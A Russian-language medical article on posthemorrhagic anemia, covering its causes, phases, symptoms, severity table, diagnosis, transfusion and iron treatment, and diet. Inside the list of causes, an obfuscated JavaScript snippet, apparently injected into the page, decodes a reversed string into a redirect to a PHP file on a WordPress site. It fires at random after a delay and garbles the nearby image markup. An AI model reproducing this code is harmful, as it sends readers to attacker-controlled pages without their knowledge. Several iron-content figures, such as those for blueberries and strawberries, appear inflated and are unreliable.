Зачастую нашей жизни угрожает совсем не то, что находится на виду. Подозревая у себя некую серьёзную болезнь, которая у всех на слуху, мы игнорируем, например, язву желудка, которая лишь время от времени доставляет нам неудобство. А ведь такая неприметная ранка может оказаться куда опаснее, чем многие именитые заболевания. Теряя кровь по капле, подтачивая здоровье своего обладателя долгие месяцы и годы, она провоцирует появление непредсказуемой постгеморрагической анемии.
Содержание
Опасность обильных кровопотерь
Общий объём крови в организме взрослого человека составляет от 3,5 до 5 литров. Циркулируя по телу, она выполняет множество функций:
- распределяет питательные вещества и кислород;
- удаляет из тканей продукты распада;
- транспортирует гормоны от желёз к чувствительным органам;
- поддерживает постоянную температуру и химический состав организма;
- участвует в закрытии ран и последующей регенерации тканей;
- осуществляет реакции иммунитета на внешние угрозы.
В том случае, если количество жидкости в сосудах падает более чем на 10%, пострадавший отчётливо это ощущает. Происходит ослабление перечисленных выше свойств крови — и тем значительнее, чем серьёзнее была кровопотеря. Первой страдает транспортная функция — ткани головного мозга начинают испытывать кислородное голодание уже через несколько секунд. Следующие за этим симптомы известны под общим названием «постгеморрагическая анемия».
Виды постгеморрагической анемии
Малокровие от кровопотери, или постгеморрагическая анемия — это дефицит эритроцитов в плазме, возникший вследствие обильной кровопотери. В клинической практике известны две формы болезни: острая и хроническая. Первая развивается при однократном повреждении организма, спровоцировавшем быструю потерю большого объёма крови. Причинами такого состояния могут стать:
- варикозное расширение вен;
- внематочная беременность;
- гемофилия;
- инфаркт лёгкого;
- коагулопатия;
- лейкоз;
- обширные травмы;
- опухолевые образования;
- паразитарные заболевания;
- последствия хирургических вмешательств;
- тяжёлые формы туберкулёза лёгких;
- язвы пищеварительного тракта.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/05/leykoz.jpg» alt=»лейкоз» width=»600″ height=»300″ /> Лейкоз — одна из причин развития анемии
Одной из главных причин широкого распространения постгеморрагической анемии в недалёком прошлом являлась мода на кровопускания. Согласно новейшим данным, именно эта процедура ускорила гибель Моцарта. Заболев в 1791 году, композитор был подвергнут новаторскому на тот момент лечению, вследствие которого потерял около двух литров крови и угас за неполный месяц.
Механизм развития и симптомы болезни
Симптоматика постгеморрагической анемии значительно разнится в зависимости от формы заболевания, тяжести кровопотери, а также особенностей организма пострадавшего.
Клиническая картина при остром состоянии
С первых мгновений сильного кровотечения организм человека задействует все ресурсы, чтобы скомпенсировать возникшие потери. Резко возрастает производство клеток-предшественников эритроцитов, называемых эритробластами. Количество красных телец на единицу объёма плазмы остаётся постоянным, хотя в абсолютном отношении их число падает.
Стенки периферических сосудов быстро спазмируются, ограничивая поступление крови к коже и скелетным мышцам. При этом максимально долго сохраняется обеспечение питательными веществами центральной нервной системы, сердца и надпочечников.
- Пульс пострадавшего учащается.
- Дыхание становится резким и неглубоким.
- Кожа и слизистые оболочки бледнеют.
- Возникает чувство головокружения, слабости в конечностях, шума в ушах, вероятно появление тошноты.
- Каловые массы могут окрашиваться в тёмно-бурые или красные цвета.
Эта фаза анемии, сочетающая в себе мгновенные реакции тела на кровопотерю, называется рефлекторной. По продолжительности она занимает до 12 часов, после чего переходит в компенсаторную, или гидремическую.
На этом этапе организм извлекает из депо максимальное количество эритроцитов, а межтканевая жидкость начинает перемещаться в сосуды. Фильтрационные свойства почек корректируются для удержания воды в организме, что приводит к снижению образования мочи. Красные клетки распределяются в плазме, из-за чего относительная концентрация гемоглобина резко уменьшается.
Следующая фаза — костно-мозговая — наступает через 4–5 дней после случая кровопотери. К этому времени производство эритробластов и дозревание эритроцитов достигают максимальных значений. Длительный спазм периферических сосудов может провоцировать склеивание клеток в мелких капиллярах, из-за чего те закупориваются. Крупные тромбы способны вызвать отмирание тканей и органов.
Признаки хронической формы
Симптоматика хронической постгеморрагической анемии демонстрирует более мягкие проявления, чем в случае острого течения:
- кожные проявления:
- бледность;
- лёгкая отёчность;
- сухость;
- шершавость;
- дефекты волос:
- ломкость;
- выпадение;
- тахикардия;
- снижение артериального давления;
- общие симптомы:
- головокружение;
- слабость;
- снижение аппетита;
- шум в ушах.
Особенности постгеморрагической анемии у детей
Дети более склонны к проявлениям острой постгеморрагической анемии, нежели к хронической. Причина этого очевидна — даже малые по меркам взрослого организма кровопотери становятся тяжёлым испытанием для хрупкого тела ребёнка.
Тревожными симптомами в этом случае считаются:
- бледность кожи;
- гладкость языка;
- задержка роста;
- изменение поведения (апатичность или плаксивость);
- ломкость волос;
- нарушение вкусовых пристрастий — склонность к поеданию глины и мела;
- общая слабость;
- потеря веса.
Ослабленный травмой детский организм становится чувствительным к инфекционным заболеваниям, так что анемия может привести к развитию ангины, ларингита, отита, пневмонии.
Стадии (степени) болезни: лёгкая, средняя, тяжёлая
В зависимости от интенсивности кровопотери выделяется несколько стадий, или степеней тяжести, постгеморрагической анемии.
Определение тяжести заболевания играет важнейшую роль в планировании дальнейшего лечения. К примеру, лёгкая анемия может не требовать медикаментозной терапии, тогда как тяжёлая является абсолютным показанием для немедленной госпитализации пострадавшего.
Стадии постгеморрагической анемии — таблица
| Степень/Стадия | Содержание гемоглобина в крови, грамм/л. | Частота пульса, уд/мин. | Систолическое (верхнее) артериальное давление, мм.рт.ст. |
| Лёгкая | 90 и выше | До 80 | Выше 110 |
| Средняя | 70–90 | 80–100 | 90–110 |
| Тяжёлая | Менее 70 | Более 100 | Ниже 90 |
Диагностика
Обязательным первичным этапом диагностики является внешний осмотр пациента, позволяющий:
- определить место повреждения в случае поверхностного ранения тела;
- оценить общее состояние пострадавшего соотносительно с тяжестью кровопотери;
- узнать о предрасположенности пациента к кровотечениям определённого типа (желудочным, кишечным, лёгочным и т. д.).
Проктологическое или гинекологическое исследование осуществляется при подозрении на травмы нижних отделов пищеварительной системы и женских репродуктивных органов. Анализ кала и мочи позволяет обнаружить повреждения желудочно-кишечного тракта и мочеполовой системы. Чаще всего используются бензидиновая (Грегерсена) и гваяковая (Вебера) пробы. Применяемые в них реактивы меняют окраску при контакте со свободным гемоглобином.
Использование изотопа железа 59Fe при радиоиммунном анализе даёт возможность описать распределение красных кровяных телец, их целостность и активность.
Анализ крови при острой постгеморрагической анемии демонстрирует весьма характерные результаты:
- В течение первого часа после начала состояния резко возрастает количество тромбоцитов, через три часа — лейкоцитов.
- Следом за этим падает уровень эритроцитов.
- Восстановление первичных показателей занимает не менее нескольких недель.
При внутренних кровотечениях широко используются рентгенография, магнитно-резонансная (МРТ) и компьютерная (КТ) томография, ультразвуковая диагностика. С их помощью можно точно локализовать повреждения полых органов.
Указанные методики позволяют дифференцировать постгеморрагическую анемию с подобными ей состояниями.
Дифференциальная диагностика — таблица
| Название патологии | Отличие от постгеморрагической анемии | Методы диагностики |
| Аутоиммунная гемолитическая анемия |
|
|
| Гипохромная анемия |
|
|
| Мегалобластная анемия |
|
|
| Микросфероцитарная гемолитическая анемия | эритроциты имеют шарообразную форму |
|
| Парциальная красноклеточная анемия |
|
|
| Талассемия |
|
анализ крови |
Лечение
Главной задачей при лечении постгеморрагической анемии является остановка кровотечения, её спровоцировавшего. Последующие меры нацелены на восполнение потери эритроцитов, жидкости, питательных веществ.
Терапия острой формы
Значительная потеря крови (более 1 литра) должна быть скомпенсирована переливанием эритроцитарной массы с плазмозаменителями, но не более 60% от утраченного объёма. Превышение этого показателя способно спровоцировать внутрисосудистое свёртывание. Разницу лучше восполнить кровезаменителями — растворами альбумина, декстрана, хлористого натрия, желатиноля, реополиглюкином, составом Рингера-Локка. Лактасол может применяться для восстановления показателей рН.
Терапия хронической формы
Для восполнения количества утраченного железа (при железодефицитных состояниях) применяются его препараты, содержащие металл в двухвалентном варианте. К таким средствам относятся:
- Мальтофер;
- Сорбифер;
- Ферамид;
- Феррокаль;
- Ферроплекс;
- Ферроцен.
Повысить обмен веществ помогают поливитаминные комплексы, включающие в состав витамины В, С, Е.
Лечение анемии — видео
Диета при постгеморрагической анемии
Рекомендуются к употреблению продукты, содержащие большое количество белка и железа:
- абрикосы;
- гранаты;
- грибы;
- земляника;
- нежирное мясо;
- персики;
- печень;
- рыба;
- творог;
- черника;
- яблоки;
- яйца.
Продукты с высоким содержанием железа — галерея
-
- Бензидиновый реактив в присутствии гемоглобина меняет цвет на синий
-
- Переливание эритроцитарной массы — основной метод терапии при крупных кровопотерях
-
- Грибы и нежирное мясо наиболее полезны при постгеморрагической анемии
-
- При анемии (справа) количество эритроцитов резко уменьшается
-
- Внутренние кровотечения — одна из наиболее распространённых причин развития анемии
-
- Яйца — 1,5 мг железа на 100 г
-
- Черника — 7 мг железа на 100 г
-
- Крольчатина — 4,4 мг железа на 100 г
-
- Какао — 11,7 мг железа на 100 г
-
- Зелёная фасоль — 7,9 мг железа на 100 г
-
- Грибы сушёные— 35 мг железа на 100 г
-
- гранаты
-
- Говяжья печень — 20 мг железа на 100 г
-
- Абрикосы — 1,8 мг железа на 100 г
-
- Земляника — 7,8 мг железа на 100 г
-
- Мальтофер применяетсядля восполнения утраченного железа в крови
-
- Переливание эритроцитарной массы — основной метод терапии при крупных кровопотерях
-
- Лейкоз — одна из причин развития анемии
Как поднять гемоглобин в крови — видео
Прогноз лечения
Прогноз лечения тем более благоприятен, чем меньшее количество крови было утрачено.
- Снижение её объёма на 10% переносится организмом относительно легко.
- Потеря пятой части крови сильно сказывается на общем самочувствии пострадавшего.
- Уменьшение на треть грозит летальным исходом.
Несвоевременное оказание помощи может привести к развитию более тяжёлых форм анемии, а также к возникновению сопутствующих инфекционных заболеваний.
Бороться с постгеморрагической анемией легко — нужно просто знать, что и где искать. Помощь в постановке диагноза и назначении терапии способен оказать лечащий врач, достаточно лишь обратиться к нему при появлении характерных симптомов. Промедление в этом случае действительно подобно смерти.
